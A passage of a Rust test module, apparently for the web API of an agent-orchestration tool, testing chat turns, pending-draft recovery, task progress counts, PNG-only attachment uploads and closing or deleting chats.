14729 assert_eq!(tasks[0]["id"], mine.id);
14730 for status in [
14731 TaskStatus::Queued,
14732 TaskStatus::Running,
14733 TaskStatus::Held,
14734 TaskStatus::Failed,
14735 TaskStatus::Blocked,
14736 TaskStatus::Parked,
14737 TaskStatus::Done,
14738 TaskStatus::Queued,
14739 ] {
14740 mine.status = status;
14741 queue.put(&mut mine).expect("update status");
14742 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14743 let progress = &detail["task_progress"];
14744 assert_eq!(progress["total"], 1);
14745 assert_eq!(progress["counts"][status.as_str()], 1);
14746 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14747 assert_eq!(detail["status"], "open", "completion never closes the chat");
14748 if status == TaskStatus::Done {
14749 assert_eq!(progress["state"], "complete");
14750 assert_eq!(progress["done"], 1);
14751 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14752 } else {
14753 assert_eq!(progress["state"], "incomplete");
14754 assert_eq!(progress["done"], 0);
14755 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14756 }
14757 }
14758 }
14759
14760 #[test]
14761 fn talk_task_progress_counts_mixed_statuses() {
14762 let mut tasks: Vec<_> = [
14763 TaskStatus::Queued,
14764 TaskStatus::Running,
14765 TaskStatus::Held,
14766 TaskStatus::Failed,
14767 TaskStatus::Blocked,
14768 TaskStatus::Parked,
14769 TaskStatus::Done,
14770 ]
14771 .into_iter()
14772 .map(|status| {
14773 let mut task = Task::new(
14774 "task".into(),
14775 "task".into(),
14776 PathBuf::from("/repo"),
14777 Source::Human,
14778 );
14779 task.status = status;
14780 task
14781 })
14782 .collect();
14783 let progress = talk_task_progress(&tasks);
14784 assert_eq!(progress.state, "incomplete");
14785 assert_eq!(progress.total, 7);
14786 assert_eq!(progress.done, 1);
14787 assert_eq!(progress.unfinished_ids.len(), 6);
14788 assert!(progress.counts.values().all(|count| *count == 1));
14789 assert_eq!(
14790 progress.unfinished_ids,
14791 tasks[..6]
14792 .iter()
14793 .map(|task| task.id.clone())
14794 .collect::<Vec<_>>()
14795 );
14796
14797 for task in &mut tasks {
14798 task.status = TaskStatus::Done;
14799 }
14800 let complete = talk_task_progress(&tasks);
14801 assert_eq!(complete.state, "complete");
14802 assert_eq!(complete.done, 7);
14803 assert!(complete.unfinished_ids.is_empty());
14804 tasks[0].status = TaskStatus::Queued;
14805 let requeued = talk_task_progress(&tasks);
14806 assert_eq!(requeued.state, "incomplete");
14807 assert_eq!(requeued.done, 6);
14808 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14809
14810 let empty = talk_task_progress(&[]);
14811 assert_eq!(empty.state, "none");
14812 assert_eq!(empty.total, 0);
14813 assert_eq!(empty.done, 0);
14814 assert!(empty.unfinished_ids.is_empty());
14815 assert!(empty.counts.values().all(|count| *count == 0));
14816 }
14817
14818 #[tokio::test]
14819 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14820 let (_tmp, _repo, f) = talk_fixture().await;
14821 let id = f.post("/api/talks", None).await.json()["id"]
14822 .as_str()
14823 .expect("id")
14824 .to_owned();
14825
14826 let res = f
14827 .post(
14828 &format!("/api/talks/{id}/say"),
14829 Some(r#"{"text":"what does the queue module do?"}"#),
14830 )
14831 .await;
14832 assert_eq!(res.status, 202, "{}", res.body);
14833 let queued = res.json();
14834 let turns = queued["turns"].as_array().expect("turns array");
14835 assert_eq!(
14836 turns.len(),
14837 1,
14838 "the answer reflects only what is on disk the instant it is sent, \
14839 before the agent's turn - which can run for the whole of \
14840 `[graph] timeout_talk` - has a chance to land: {queued}"
14841 );
14842 assert_eq!(turns[0]["who"], "operator");
14843 assert_eq!(turns[0]["body"], "what does the queue module do?");
14844 assert_eq!(
14845 queued["thinking"], true,
14846 "the accepted response exposes the background turn claim: {queued}"
14847 );
14848
14849 let mut turns_after = 1;
14850 for _ in 0..SETTLE_STEPS {
14851 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14852 turns_after = detail["turns"].as_array().expect("turns array").len();
14853 if turns_after == 2 {
14854 break;
14855 }
14856 tokio::time::sleep(Duration::from_millis(10)).await;
14857 }
14858 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14859 }
14860
14861 #[tokio::test]
14888 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14889 let tmp = TempDir::new().expect("tempdir");
14890 let repo = tmp.path().join("repo");
14891 std::fs::create_dir_all(&repo).expect("repo dir");
14892 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14893 let home = TempDir::new().expect("temp home");
14894 let talks = Talks::at(home.path().join("talks"));
14895 let ui = Arc::new(
14896 Ui::new(
14897 Queue::at(home.path().join("queue")),
14898 Questions::at(home.path().join("questions")),
14899 talks.clone(),
14900 home.path().join("runs"),
14901 home.path().to_path_buf(),
14902 repo.clone(),
14903 )
14904 .with_worktrees_root(home.path().join("wt")),
14905 );
14906 let cfg = config_for(&repo).await.expect("discover config");
14907
14908 for delay in 0..40u32 {
14909 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14910 let id = talk.id.clone();
14911
14912 let handler = tokio::spawn(talk_say(
14913 State(Arc::clone(&ui)),
14914 Path(id.clone()),
14915 Ok(Json(NewTalkTurn {
14916 reply_to: None,
14917 text: "what does the queue module do?".to_owned(),
14918 attachments: Vec::new(),
14919 })),
14920 ));
14921 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14922 handler.abort();
14923 let _ = handler.await;
14926
14927 let mut turns = 0;
14928 for _ in 0..SETTLE_STEPS {
14929 if let Ok(fresh) = talks.get(&id) {
14930 turns = fresh.turns.len();
14931 if turns != 1 {
14932 break;
14933 }
14934 }
14935 tokio::time::sleep(Duration::from_millis(10)).await;
14936 }
14937 assert_ne!(
14938 turns, 1,
14939 "delay {delay}: talk {id} recorded the operator's turn but \
14940 the agent never answered - the reply task was never \
14941 started after the handler future was dropped"
14942 );
14943 }
14944 }
14945
14946 #[tokio::test]
14991 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14992 let tmp = TempDir::new().expect("tempdir");
14993 let repo = tmp.path().join("repo");
14994 std::fs::create_dir_all(&repo).expect("repo dir");
14995 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14996 let home = TempDir::new().expect("temp home");
14997 let talks = Talks::at(home.path().join("talks"));
14998 let ui = Arc::new(
14999 Ui::new(
15000 Queue::at(home.path().join("queue")),
15001 Questions::at(home.path().join("questions")),
15002 talks.clone(),
15003 home.path().join("runs"),
15004 home.path().to_path_buf(),
15005 repo.clone(),
15006 )
15007 .with_worktrees_root(home.path().join("wt")),
15008 );
15009 let cfg = config_for(&repo).await.expect("discover config");
15010
15011 for attempt in 0..3u32 {
15012 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15013 let id = talk.id.clone();
15014 let turn_guard = ui
15017 .begin_talk_turn(&id)
15018 .expect("claim the turn")
15019 .expect("a fresh talk owes nobody a turn");
15020
15021 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15022 let (release_tx, release_rx) = std::sync::mpsc::channel();
15023 ui.set_busy_queue_gate(BusyQueueGate {
15024 reached: reached_tx,
15025 release: release_rx,
15026 });
15027
15028 let handler = tokio::spawn(talk_say(
15029 State(Arc::clone(&ui)),
15030 Path(id.clone()),
15031 Ok(Json(NewTalkTurn {
15032 reply_to: None,
15033 text: "what does the queue module do?".to_owned(),
15034 attachments: Vec::new(),
15035 })),
15036 ));
15037
15038 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15043 .await
15044 .unwrap_or_else(|_| {
15045 panic!(
15046 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15047 )
15048 })
15049 .expect("the busy branch dropped the gate without using it");
15050 assert!(
15051 crate::consult::try_publication_guard(&talks, &id)
15052 .expect("publication fence")
15053 .is_none(),
15054 "a queued worker cannot promote text before its successor reservation is published"
15055 );
15056
15057 let closing = Arc::clone(&ui.admissions).write_owned();
15061 tokio::pin!(closing);
15062 std::future::poll_fn(|cx| {
15063 assert!(closing.as_mut().poll(cx).is_pending());
15064 std::task::Poll::Ready(())
15065 })
15066 .await;
15067 assert!(
15068 ui.begin_admission().is_err(),
15069 "replacement blocks later admissions"
15070 );
15071
15072 let running = talks.get(&id).expect("reload talk");
15079 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15080
15081 handler.abort();
15085 let _ = handler.await;
15086 std::future::poll_fn(|cx| {
15087 assert!(
15088 closing.as_mut().poll(cx).is_pending(),
15089 "HTTP cancellation must not abandon a publishing transaction"
15090 );
15091 std::task::Poll::Ready(())
15092 })
15093 .await;
15094 assert!(
15095 crate::consult::try_publication_guard(&talks, &id)
15096 .expect("publication fence after disconnect")
15097 .is_none()
15098 );
15099
15100 let _ = release_tx.send(());
15106 drop(
15107 tokio::time::timeout(Duration::from_secs(5), closing)
15108 .await
15109 .expect("short admission transaction should release for replacement"),
15110 );
15111 assert!(
15112 crate::consult::try_publication_guard(&talks, &id)
15113 .expect("publication fence after acknowledgement")
15114 .is_some(),
15115 "the publication fence is not retained by the long response"
15116 );
15117
15118 let mut fresh = talks.get(&id).expect("reload talk");
15121 for _ in 0..SETTLE_STEPS {
15122 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15123 break;
15124 }
15125 tokio::time::sleep(Duration::from_millis(10)).await;
15126 fresh = talks.get(&id).expect("reload talk");
15127 }
15128 assert!(
15129 fresh.pending.is_empty() && fresh.turns.len() == 2,
15130 "attempt {attempt}: talk {id} left the operator's text queued \
15131 with no drainer - the reclaimed turn was dropped along with \
15132 the handler future (pending {:?}, {} turns)",
15133 fresh.pending,
15134 fresh.turns.len()
15135 );
15136 }
15137 }
15138
15139 #[tokio::test]
15140 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15141 let (_tmp, _repo, f) = talk_fixture().await;
15142 let id = f.post("/api/talks", None).await.json()["id"]
15143 .as_str()
15144 .expect("id")
15145 .to_owned();
15146 let store = f.talks();
15147 let mut recovered = store.get(&id).expect("opened talk");
15148 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15149 .expect("persist pending draft without a live turn");
15150
15151 let edited = f
15152 .post(
15153 &format!("/api/talks/{id}/pending/edit"),
15154 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15155 )
15156 .await;
15157 assert_eq!(edited.status, 200, "{}", edited.body);
15158 assert!(edited.json()["thinking"].as_bool().unwrap());
15159
15160 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15161 for _ in 0..SETTLE_STEPS {
15162 if detail["turns"].as_array().expect("turns").len() == 2 {
15163 break;
15164 }
15165 tokio::time::sleep(Duration::from_millis(10)).await;
15166 detail = f.get(&format!("/api/talks/{id}")).await.json();
15167 }
15168 let turns = detail["turns"].as_array().expect("turns");
15169 assert_eq!(
15170 turns.len(),
15171 2,
15172 "the recovered draft must run once: {detail}"
15173 );
15174 assert_eq!(turns[0]["body"], "corrected");
15175 assert_eq!(detail["pending"], "");
15176 }
15177
15178 #[tokio::test]
15179 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15180 let tmp = TempDir::new().expect("tempdir");
15181 let repo = tmp.path().join("repo");
15182 std::fs::create_dir_all(&repo).expect("repo dir");
15183 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15184 let f = Fixture::with_repo(repo).await;
15185 let id = f.post("/api/talks", None).await.json()["id"]
15186 .as_str()
15187 .expect("id")
15188 .to_owned();
15189 let store = f.talks();
15190 let mut recovered = store.get(&id).expect("opened talk");
15191 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15192 .expect("persist pending draft without a live turn");
15193
15194 let refused = f
15195 .post(
15196 &format!("/api/talks/{id}/say"),
15197 Some(r#"{"text":"new message"}"#),
15198 )
15199 .await;
15200 assert_eq!(refused.status, 409, "{}", refused.body);
15201 assert!(refused.body.contains("resume"), "{}", refused.body);
15202 let saved = store.get(&id).expect("draft remains after refusal");
15203 assert!(saved.turns.is_empty());
15204 assert_eq!(saved.pending, "saved before restart");
15205
15206 let say_path = format!("/api/talks/{id}/say");
15207 let (first, second) = tokio::join!(
15208 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15209 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15210 );
15211 assert_eq!(first.status, 409, "{}", first.body);
15212 assert_eq!(second.status, 409, "{}", second.body);
15213 let saved = store
15214 .get(&id)
15215 .expect("draft remains after concurrent refusals");
15216 assert!(saved.turns.is_empty());
15217 assert_eq!(saved.pending, "saved before restart");
15218
15219 let resumed = f
15220 .post(&format!("/api/talks/{id}/pending/resume"), None)
15221 .await;
15222 assert_eq!(resumed.status, 202, "{}", resumed.body);
15223 let duplicate = f
15224 .post(&format!("/api/talks/{id}/pending/resume"), None)
15225 .await;
15226 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15227
15228 for _ in 0..SETTLE_STEPS {
15229 if store.get(&id).expect("talk").turns.len() == 2 {
15230 break;
15231 }
15232 tokio::time::sleep(Duration::from_millis(10)).await;
15233 }
15234 let finished = store.get(&id).expect("finished talk");
15235 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15236 assert_eq!(finished.turns[0].body, "saved before restart");
15237 assert!(finished.pending.is_empty());
15238 }
15239
15240 #[tokio::test]
15241 async fn an_image_only_recovered_draft_resumes_without_text() {
15242 let (_tmp, _repo, f) = talk_fixture().await;
15243 let id = f.post("/api/talks", None).await.json()["id"]
15244 .as_str()
15245 .expect("id")
15246 .to_owned();
15247 let uploaded = f
15248 .post_bytes(
15249 &format!("/api/talks/{id}/attachments"),
15250 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15251 PNG_BYTES,
15252 )
15253 .await;
15254 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15255 let attachment = f
15256 .talks()
15257 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15258 .expect("attachment metadata")
15259 .expect("stored attachment");
15260 let store = f.talks();
15261 let mut recovered = store.get(&id).expect("opened talk");
15262 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15263
15264 let resumed = f
15265 .post(&format!("/api/talks/{id}/pending/resume"), None)
15266 .await;
15267 assert_eq!(resumed.status, 202, "{}", resumed.body);
15268 for _ in 0..SETTLE_STEPS {
15269 if store.get(&id).expect("talk").turns.len() == 2 {
15270 break;
15271 }
15272 tokio::time::sleep(Duration::from_millis(10)).await;
15273 }
15274 let finished = store.get(&id).expect("finished talk");
15275 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15276 assert!(finished.turns[0].body.is_empty());
15277 assert_eq!(finished.turns[0].attachments.len(), 1);
15278 assert!(finished.pending_attachments.is_empty());
15279 }
15280
15281 #[tokio::test]
15282 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15283 let (_tmp, _repo, f) = talk_fixture().await;
15284 let id = f.post("/api/talks", None).await.json()["id"]
15285 .as_str()
15286 .expect("id")
15287 .to_owned();
15288 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15289 assert_eq!(closed.status, 200, "{}", closed.body);
15290 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15291 .expect("serialize closed talk");
15292 for (path, body) in [
15293 (format!("/api/talks/{id}/pending/resume"), None),
15294 (
15295 format!("/api/talks/{id}/pending/clear"),
15296 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15297 ),
15298 (
15299 format!("/api/talks/{id}/pending/edit"),
15300 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15301 ),
15302 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15303 ] {
15304 let response = f.post(&path, body).await;
15305 assert_eq!(response.status, 409, "{}", response.body);
15306 }
15307 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15308 .expect("serialize closed talk");
15309 assert_eq!(
15310 after_clear, before_clear,
15311 "clear must not rewrite a closed talk"
15312 );
15313 }
15314
15315 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15318
15319 #[tokio::test]
15320 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15321 let tmp = TempDir::new().expect("tempdir");
15322 let repo = tmp.path().join("repo");
15323 std::fs::create_dir_all(&repo).expect("repo dir");
15324 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15325 let f = Fixture::with_repo(repo).await;
15326 let id_a = f.post("/api/talks", None).await.json()["id"]
15327 .as_str()
15328 .unwrap()
15329 .to_owned();
15330 let id_b = f.post("/api/talks", None).await.json()["id"]
15331 .as_str()
15332 .unwrap()
15333 .to_owned();
15334
15335 let a = f
15336 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15337 .await;
15338 assert_eq!(a.status, 202, "{}", a.body);
15339 assert_eq!(a.json()["thinking"], true);
15340 let b = f
15341 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15342 .await;
15343 assert_eq!(b.status, 202, "{}", b.body);
15344 assert_eq!(b.json()["thinking"], true);
15345
15346 let listed = f.get("/api/talks").await.json();
15347 for id in [&id_a, &id_b] {
15348 let view = listed
15349 .as_array()
15350 .unwrap()
15351 .iter()
15352 .find(|talk| talk["id"] == *id)
15353 .unwrap();
15354 assert_eq!(view["thinking"], true, "{listed}");
15355 }
15356 let repeated = f
15357 .post(
15358 &format!("/api/talks/{id_a}/say"),
15359 Some(r#"{"text":"again"}"#),
15360 )
15361 .await;
15362 assert_eq!(repeated.status, 202, "{}", repeated.body);
15363 assert_eq!(repeated.json()["pending"], "again");
15364 }
15365
15366 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15369
15370 #[tokio::test]
15371 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15372 let f = Fixture::start().await;
15373 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15374
15375 let res = f
15376 .post_bytes(
15377 &format!("/api/talks/{id}/attachments"),
15378 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15379 PNG_BYTES,
15380 )
15381 .await;
15382 assert_eq!(res.status, 201, "{}", res.body);
15383 let body = res.json();
15384 assert_eq!(body["name"], "shot.png");
15385 assert_eq!(body["mime"], "image/png");
15386 assert_eq!(body["bytes"], PNG_BYTES.len());
15387 let att_id = body["id"].as_str().expect("id").to_owned();
15388 assert_eq!(
15389 att_id.len(),
15390 32,
15391 "the id must never be a client-suppliable path: {att_id}"
15392 );
15393
15394 let got = f
15395 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15396 .await;
15397 assert_eq!(got.status, 200, "{}", got.body);
15398 assert_eq!(got.header("content-type"), Some("image/png"));
15399 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15400 assert_eq!(got.bytes, PNG_BYTES);
15401 }
15402
15403 #[tokio::test]
15404 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15405 let f = Fixture::start().await;
15406 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15407
15408 let svg = f
15411 .post_bytes(
15412 &format!("/api/talks/{id}/attachments"),
15413 &[("Content-Type", "image/svg+xml")],
15414 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15415 )
15416 .await;
15417 assert!(
15418 (400..500).contains(&svg.status),
15419 "svg must be refused: {} {}",
15420 svg.status,
15421 svg.body
15422 );
15423 assert!(svg.body.contains("SVG"), "{}", svg.body);
15424
15425 let text = f
15426 .post_bytes(
15427 &format!("/api/talks/{id}/attachments"),
15428 &[("Content-Type", "text/plain")],
15429 b"just some text",
15430 )
15431 .await;
15432 assert!(
15433 (400..500).contains(&text.status),
15434 "an unlisted type must be refused: {} {}",
15435 text.status,
15436 text.body
15437 );
15438
15439 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15442 let big = f
15443 .post_bytes(
15444 &format!("/api/talks/{id}/attachments"),
15445 &[("Content-Type", "image/png")],
15446 &oversized,
15447 )
15448 .await;
15449 assert_eq!(
15450 big.status,
15451 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15452 "{}",
15453 big.body
15454 );
15455 }
15456
15457 #[tokio::test]
15458 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15459 let f = Fixture::start().await;
15460 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15461
15462 let res = f
15465 .post_bytes(
15466 &format!("/api/talks/{id}/attachments"),
15467 &[("Content-Type", "image/png")],
15468 b"<html>not a picture</html>",
15469 )
15470 .await;
15471 assert!((400..500).contains(&res.status), "{}", res.body);
15472 }
15473
15474 #[tokio::test]
15475 async fn an_unknown_attachment_id_is_a_404() {
15476 let f = Fixture::start().await;
15477 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15478
15479 let res = f
15480 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15481 .await;
15482 assert_eq!(res.status, 404, "{}", res.body);
15483 }
15484
15485 #[tokio::test]
15486 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15487 let f = Fixture::start().await;
15488 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15489
15490 let uploaded = f
15491 .post_bytes(
15492 &format!("/api/talks/{id}/attachments"),
15493 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15494 PNG_BYTES,
15495 )
15496 .await;
15497 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15498 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15499
15500 let res = f
15501 .post(
15502 &format!("/api/talks/{id}/say"),
15503 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15504 )
15505 .await;
15506 assert_eq!(res.status, 202, "{}", res.body);
15507 let queued = res.json();
15508 let turns = queued["turns"].as_array().expect("turns array");
15509 assert_eq!(
15510 turns.len(),
15511 1,
15512 "an empty body with an attachment is still a turn: {queued}"
15513 );
15514 assert_eq!(turns[0]["who"], "operator");
15515 assert_eq!(turns[0]["body"], "");
15516 let atts = turns[0]["attachments"]
15517 .as_array()
15518 .expect("attachments array");
15519 assert_eq!(atts.len(), 1);
15520 assert_eq!(atts[0]["id"], att_id);
15521 assert_eq!(atts[0]["mime"], "image/png");
15522
15523 let on_disk = f.talks().get(&id).expect("get");
15526 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15527 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15528 }
15529
15530 #[tokio::test]
15531 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15532 let f = Fixture::start().await;
15533 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15534
15535 let res = f
15536 .post(
15537 &format!("/api/talks/{id}/say"),
15538 Some(&format!(
15539 r#"{{"text":"hi","attachments":["{}"]}}"#,
15540 "a".repeat(32)
15541 )),
15542 )
15543 .await;
15544 assert!((400..500).contains(&res.status), "{}", res.body);
15545 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15546
15547 let on_disk = f.talks().get(&id).expect("get");
15548 assert!(
15549 on_disk.turns.is_empty(),
15550 "a rejected attachment id must not partially record the turn: {:?}",
15551 on_disk.turns
15552 );
15553 }
15554
15555 #[tokio::test]
15556 async fn talk_close_makes_the_talk_refuse_further_turns() {
15557 let f = Fixture::start().await;
15558 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15559
15560 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15561 assert_eq!(closed.status, 200, "{}", closed.body);
15562 assert_eq!(closed.json()["status"], "closed");
15563
15564 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15566 assert_eq!(closed_again.status, 200);
15567 assert_eq!(closed_again.json()["status"], "closed");
15568
15569 let said = f
15570 .post(
15571 &format!("/api/talks/{id}/say"),
15572 Some(r#"{"text":"too late"}"#),
15573 )
15574 .await;
15575 assert_eq!(said.status, 409, "{}", said.body);
15576 }
15577
15578 #[tokio::test]
15579 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15580 let (_tmp, _repo, f) = talk_fixture().await;
15581 let id = f.post("/api/talks", None).await.json()["id"]
15582 .as_str()
15583 .expect("id")
15584 .to_owned();
15585 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15586 assert_eq!(closed.status, 200, "{}", closed.body);
15587
15588 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15589 assert_eq!(reopened.status, 200, "{}", reopened.body);
15590 assert_eq!(reopened.json()["status"], "open");
15591
15592 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15594 assert_eq!(reopened_again.status, 200);
15595 assert_eq!(reopened_again.json()["status"], "open");
15596
15597 let said = f
15598 .post(
15599 &format!("/api/talks/{id}/say"),
15600 Some(r#"{"text":"still there?"}"#),
15601 )
15602 .await;
15603 assert_eq!(
15604 said.status, 202,
15605 "a reopened talk accepts turns again: {}",
15606 said.body
15607 );
15608 }
15609
15610 #[tokio::test]
15611 async fn talk_reopen_on_an_unknown_id_is_404() {
15612 let f = Fixture::start().await;
15613 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15614 assert_eq!(res.status, 404, "{}", res.body);
15615 }
15616
15617 #[tokio::test]
15618 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15619 let f = Fixture::start().await;
15620 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15621
15622 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15623 assert_eq!(deleted.status, 204, "{}", deleted.body);
15624
15625 let after = f.get(&format!("/api/talks/{id}")).await;
15626 assert_eq!(after.status, 404, "{}", after.body);
15627
15628 let listed = f.get("/api/talks").await.json();
15629 assert!(
15630 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15631 "a deleted talk must not linger in the list: {listed}"
15632 );
15633 }
15634
15635 #[tokio::test]
15636 async fn talk_delete_on_an_unknown_id_is_404() {
15637 let f = Fixture::start().await;
15638 let res = f.delete("/api/talks/nonexistent-id").await;
15639 assert_eq!(res.status, 404, "{}", res.body);
15640 }
15641
15642 #[tokio::test]
15646 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15647 let f = Fixture::start().await;
15648 let (a, b, gone) = (
15649 "20260902-140501-aaaa",
15650 "20260902-140502-bbbb",
15651 "20260902-140503-cccc",
15652 );
15653 write_run(&f.runs(), a, RunStatus::Stalled);
15654 let mut review = RunState::new(
15655 PathBuf::from("/repo/magi"),
15656 "main".to_owned(),
15657 "0123456789abcdef".to_owned(),
15658 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15659 .to_owned(),
15660 Config::default(),
15661 );
15662 review.id = b.to_owned();
15663 review.status = RunStatus::Merged;
15664 write_state(&f.runs(), &review);
15665
15666 let mut task = Task::new(
15667 "retry".to_owned(),
15668 "Do the thing".to_owned(),
15669 PathBuf::from("/repo/magi"),
15670 Source::Human,
15671 );
15672 task.start(a.to_owned());
15673 task.stall("quota");
15674 task.start(a.to_owned());
15675 task.start(b.to_owned());
15676 task.start(gone.to_owned());
15677 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15679 f.queue().put(&mut task).expect("file the task");
15680
15681 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15682 assert_eq!(res.status, 200, "{}", res.body);
15683 let v = res.json();
15684 let h = v["history"].as_array().expect("history");
15685 assert_eq!(h.len(), 4, "{v}");
15686 assert_eq!(h[0]["kind"], "competition");
15687 assert_eq!(h[0]["status"], "stalled");
15688 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15689 assert_eq!(h[1]["kind"], "resume", "{v}");
15690 assert!(
15691 h[0]["outcome"]
15692 .as_str()
15693 .unwrap()
15694 .contains("unknown. Pass #2"),
15695 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15696 );
15697 assert!(
15698 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15699 "{v}"
15700 );
15701 assert!(
15702 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15703 "an unrecorded cause must not be narrated as an operator park: {v}"
15704 );
15705 assert_eq!(h[2]["kind"], "review");
15706 assert!(
15707 h[2]["description"]
15708 .as_str()
15709 .unwrap()
15710 .contains("magi/aaaa/A")
15711 );
15712 assert_eq!(h[2]["status"], "merged");
15713 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15714 assert_eq!(v["runs_unreadable"], 1);
15715 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15716 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15717 assert_eq!(nodes[4]["note"], "unreadable");
15718 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15719 assert_eq!(v["instruction"], "Do the thing");
15720 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15721
15722 let run = f.get(&format!("/api/runs/{a}")).await.json();
15724 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15725
15726 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15727 }
15728
15729 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15730 let mut s = RunState::new(
15731 PathBuf::from("/repo/magi"),
15732 "main".to_owned(),
15733 "0123456789abcdef".to_owned(),
15734 "Do it".to_owned(),
15735 Config::default(),
15736 );
15737 s.status = status;
15738 edit(&mut s);
15739 s
15740 }
15741
15742 fn flow_task(runs: &[&str]) -> Task {
